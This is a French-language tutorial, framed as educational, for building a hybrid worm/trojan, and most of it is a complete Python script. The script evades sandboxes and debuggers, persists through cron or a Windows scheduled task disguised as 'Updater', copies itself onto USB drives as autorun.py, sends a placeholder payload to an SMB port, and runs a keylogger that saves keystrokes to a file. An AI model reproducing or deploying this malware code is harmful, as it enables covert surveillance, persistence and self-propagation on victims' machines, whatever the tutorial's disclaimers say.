Introduction
Un malware hybride Ver/Trojan est une menace sophistiquée qui combine deux caractéristiques principales :
- Propagation automatique : Comme un ver, il se propage via des réseaux ou des périphériques USB.
- Dissimulation et charge utile : Comme un trojan, il se camoufle en application légitime tout en exécutant des actions malveillantes.
L’objectif de ce tutoriel est éducatif : apprendre comment ces menaces fonctionnent pour mieux les contrer.
Avertissement : Ce tutoriel doit être utilisé uniquement dans un environnement isolé et sécurisé. Toute utilisation malveillante est illégale et contraire à l’éthique.
Préparation de l’Environnement
Pour travailler dans un environnement sécurisé et éviter tout risque pour vos systèmes de production, il est essentiel de préparer un environnement isolé et contrôlé. Suivez ces étapes pour mettre en place un environnement idéal pour la simulation.
1. Configuration de l’Environnement Isolé
- Machine Virtuelle : Utilisez un hyperviseur comme VirtualBox ou VMware pour créer une machine virtuelle dédiée. Installez-y une distribution Linux comme Kali Linux ou Ubuntu.
- Sandbox : Utilisez des solutions comme Firejail ou des outils de sandboxing intégrés au système d'exploitation.
- Snapshots : Avant de commencer, prenez un snapshot (instantané) de votre machine virtuelle pour pouvoir restaurer l'état initial en cas de problème.
- Réseau Isolé : Désactivez l'accès à Internet ou configurez un réseau virtuel isolé pour éviter toute propagation accidentelle.
2. Installation des outils nécessaires
Une fois votre environnement prêt, installez les outils nécessaires :
- Python 3 : Le langage principal utilisé pour le développement du malware. Installez Python en exécutant :
sudo apt update && sudo apt install python3 python3-pip
- Modules Python : Installez les bibliothèques essentielles pour les fonctionnalités de votre malware hybride :
pip install scapy python-nmap cryptography pynput
Détails des modules :
- Scapy : Pour analyser et manipuler les paquets réseau, utile pour la propagation et l'exploitation des vulnérabilités.
- python-nmap : Pour scanner les réseaux et détecter les cibles potentielles.
- cryptography : Pour implémenter des fonctionnalités de chiffrement et de dissimulation.
- pynput : Pour capturer les entrées clavier (keylogger).
3. Installation d’Outils Complémentaires
Pour maximiser l’efficacité et les possibilités de votre simulation, installez les outils suivants :
- Wireshark : Un analyseur de paquets réseau pour capturer et examiner le trafic généré par votre simulation. Installez-le avec :
sudo apt install wireshark
- tcpdump : Un outil en ligne de commande pour capturer et analyser les paquets réseau. Installez-le avec :
sudo apt install tcpdump
- Émulateur USB : Si vous voulez tester la propagation via des périphériques USB, utilisez des outils comme VirtualBox avec l’extension pack ou des simulateurs de périphériques USB.
4. Outils de Développement et de Débogage
- Visual Studio Code : Un éditeur de code avancé pour écrire et déboguer vos scripts Python. Installez-le avec :
sudo snap install --classic code
- gdb : Le débogueur GNU pour analyser les comportements de votre script.
- strace : Un outil pour tracer les appels système et signaux, utile pour analyser l'exécution du script.
sudo apt install gdb strace
5. Configuration du Réseau pour la Simulation
Pour simuler des scénarios réseau, configurez votre machine virtuelle avec les paramètres réseau suivants :
- Mode Host-Only : Pour isoler la machine virtuelle du réseau principal.
- Mode NAT : Si vous avez besoin d’un accès limité à Internet pour télécharger des outils ou des dépendances.
- Simulateur de Réseau : Utilisez des outils comme GNS3 ou ns-3 pour simuler un environnement réseau complexe.
6. Vérification et Test de l’Environnement
Avant de lancer la simulation, vérifiez que tout est correctement configuré :
- Testez votre version de Python :
python3 --version
- Vérifiez que les modules Python sont correctement installés :
pip list
- Assurez-vous que les outils réseau fonctionnent :
wireshark --version
tcpdump --version
7. Précautions Supplémentaires
Pour éviter tout problème lors de la simulation :
- Ne connectez pas votre machine virtuelle à un réseau public ou non sécurisé.
- Activez les journaux : Configurez vos outils pour enregistrer les activités afin d’analyser le comportement du malware.
- Désactivez les fonctionnalités critiques : Assurez-vous que votre machine virtuelle ne peut pas interagir avec des systèmes externes ou des fichiers sensibles.
Fonctionnalités à Implémenter
- Obfuscation du Code : Rendre le code difficile à analyser.
- Anti-Debugging : Détecter les outils de débogage actifs.
- Anti-Sandboxing : Vérifier si le malware s’exécute dans une sandbox.
- Propagation via USB : Copier le malware sur des clés USB insérées.
- Exploitation de Vulnérabilités : Exemple fictif basé sur une faille SMB.
- Keylogging : Capturer les frappes clavier.
- Persistance Avancée : Assurer la survie après un redémarrage.
- Encryption pour la Dissimulation : Chiffrer les fichiers malveillants.
- Chiffrement des Communications : Protéger les échanges réseau contre la détection.
Code Python Complet
import os
import platform
import random
import shutil
import socket
import string
import subprocess
import threading
from cryptography.fernet import Fernet
from scapy.all import ARP, send
from pynput.keyboard import Listener
# Vérifie si le code s'exécute dans un environnement sandbox.
# En l'enlevant, vous perdez ce point d'apprentissage, mais vous gagnez
# en réalisme pour une simulation de malware plus agressif.
def check_sandbox():
suspicious_files = ["/etc/vmware-tools", "/sys/class/dmi/id/product_name", "/bin/qemu-ga"]
for file in suspicious_files:
if os.path.exists(file):
print("[DETECTED] Environnement sandbox détecté !")
exit()
# Vérifie la présence d'outils de débogage
def anti_debug():
debugger_processes = ["gdb", "strace", "ltrace"]
for proc in debugger_processes:
if subprocess.call(f"pgrep {proc}", shell=True, stdout=subprocess.DEVNULL) == 0:
print("[DETECTED] Débogueur actif !")
exit()
# Ajoute le malware à une tâche planifiée ou un cron job
def advanced_persistence():
script_path = os.path.abspath(__file__)
if platform.system() == "Windows":
command = f'schtasks /create /sc minute /mo 5 /tn "Updater" /tr "{script_path}"'
else:
command = f'(crontab -l ; echo "*/5 * * * * python3 {script_path}") | crontab -'
os.system(command)
# Propagation via périphériques USB
def propagate_usb():
removable_drives = [f"/media/{os.getlogin()}/{d}" for d in os.listdir(f"/media/{os.getlogin()}")]
for drive in removable_drives:
try:
dest = os.path.join(drive, "autorun.py")
shutil.copy(__file__, dest)
print(f"[INFO] Propagation via USB vers {drive}.")
except Exception as e:
print(f"[ERROR] Échec propagation USB : {e}")
# Exploitation de vulnérabilités fictive
def exploit_vulnerability():
target = "192.168.1.5"
port = 445
try:
print("[INFO] Exploitation de la vulnérabilité sur le port SMB.")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.send(b"Malicious payload")
sock.close()
except Exception as e:
print(f"[ERROR] Exploitation échouée : {e}")
# Keylogger pour capturer les frappes clavier
def keylogger():
def on_press(key):
with open("keylogs.txt", "a") as log_file:
log_file.write(f"{key}\n")
with Listener(on_press=on_press) as listener:
listener.join()
# Fonction principale
def main():
print("[INFO] Démarrage de la simulation hybride avancée.")
check_sandbox()
anti_debug()
advanced_persistence()
propagate_usb()
exploit_vulnerability()
keylogger_thread = threading.Thread(target=keylogger)
keylogger_thread.start()
print("[INFO] Toutes les fonctionnalités actives.")
if __name__ == "__main__":
main()
Étapes de Test
- Configurez un environnement virtuel isolé.
- Lancez le script et observez le comportement.
- Utilisez des outils comme Wireshark pour capturer le trafic réseau.
- Analysez les fichiers générés, comme les logs de frappes clavier.
Conclusion
Ce tutoriel montre comment un malware hybride peut combiner des fonctionnalités avancées pour maximiser son efficacité. Il met également en lumière les méthodes pour détecter et contrer ces menaces.
Utilisation Éthique : Ce projet est strictement destiné à l’éducation. Toute exploitation malveillante est condamnable.